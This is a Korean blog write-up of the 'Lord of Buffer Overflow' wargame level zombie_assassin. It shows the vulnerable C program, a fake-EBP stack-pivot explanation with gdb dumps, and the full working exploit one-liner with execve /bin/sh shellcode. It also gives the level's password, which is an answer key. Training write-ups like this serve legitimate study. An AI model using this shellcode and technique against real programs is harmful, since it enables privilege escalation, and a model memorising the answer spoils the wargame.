System Hacking/Lord of Buffer overflow

16.lob assassin->zombie_assassin

oiehso0 2018. 1. 14. 23:55

[assassin@localhost assassin]$ cat zombie_assassin.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - zombie_assassin

        - FEBP    //fake ebp

*/

#include <stdio.h>

#include <stdlib.h>


main(int argc, char *argv[])

{

        char buffer[40];


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        if(argv[1][47] == '\xbf')        //스택제한

        {

                printf("stack retbayed you!\n");

                exit(0);

        }


        if(argv[1][47] == '\x40')

        {

                printf("library retbayed you, too!!\n");        //라이브러리영역 제한

                exit(0);

        }


        // strncpy instead of strcpy!

        strncpy(buffer, argv[1], 48);        //버퍼부터 ret공간 내에서 해결해야함

        printf("%s\n", buffer);

}




gdb로 분석하기 위해 tmp 디렉토리로 파일을 cp하고 core파일을 생성했다. 이전 문제와의 차이점이라면 shellcode의 위치이다.

giant->assassin에서는 ret어드레스 공간뒤에 바로 쉘코드가 있어서 ret명령어만 넣어주면 nop를 타고 쉘코드를 실행했다면

이번 문제에서는 shellcode가 ret어드레스 앞 공간에 위치해 있기 때문에 이번엔 sfp(4)위치에 Fake ebp를 넣어주면 leave(mov esp, ebp + pop ebp)명령어 실행 후 nop가 담겨 있는 주소로 옮겨가고 후에 ret명령어에서 shellcode가 실행된다.






[assassin@localhost assassin]$ cp zombie_assassin zombie_assassi1


[assassin@localhost assassin]$ gdb ./zombie_assassi1 ./core

(gdb) x/100x $esp


0xbffffc20:     0x73615f65      0x73736173      0x90003169      0x90909090

0xbffffc30:     0x90909090      0x90909090      0xc0319090      0x2f2f6850

0xbffffc40:     0x2f686873      0x896e6962      0x895350e3      0xb0d231e1

---Type <return> to continue, or q <return> to quit---

0xbffffc50:     0xbf80cd0b      0x00bfbfbf      0x3d445750      0x6d6f682f

0xbffffc60:     0x73612f65      0x73736173      0x52006e69      0x544f4d45



This GDB was configured as "i386-redhat-linux"...

(gdb) disas main


0x80484d7 <main+151>:   call   0x8048354 <printf>

0x80484dc <main+156>:   add    $0x8,%esp

0x80484df <main+159>:   leave        //mov esp, ebp + pop ebp

0x80484e0 <main+160>:   ret


페이로드 "\x90"*4 (4) | 쉘코드시작주소 (4) | "\x90"*7 (7) | 쉘코드 (25) | sfp (4) | ret (4) 


[assassin@localhost assassin]$ ./zombie_assassin `python -c 'print "\x90"*4+"\x34\xfc\xff\xbf"+"\x90"*7+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x27\xfc\xff\xbf"+"\xdf\x84\x04\x08"'`

▒▒▒▒4▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒1Ұ

                                    ̀'▒▒▒߄

bash$ whoami

assassin



원본도 페이로드는 위와 동일하다.

[assassin@localhost assassin]$ ./zombie_assassin `python -c 'print "\x90"*4+"\x34\xfc\xff\xbf"+"\x90"*7+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x27\xfc\xff\xbf"+"\xdf\x84\x04\x08"'`

▒▒▒▒4▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒1Ұ

                                    ̀'▒▒▒߄

bash$ whoami

zombie_assassin

bash$ my-pass

euid = 516

no place to hide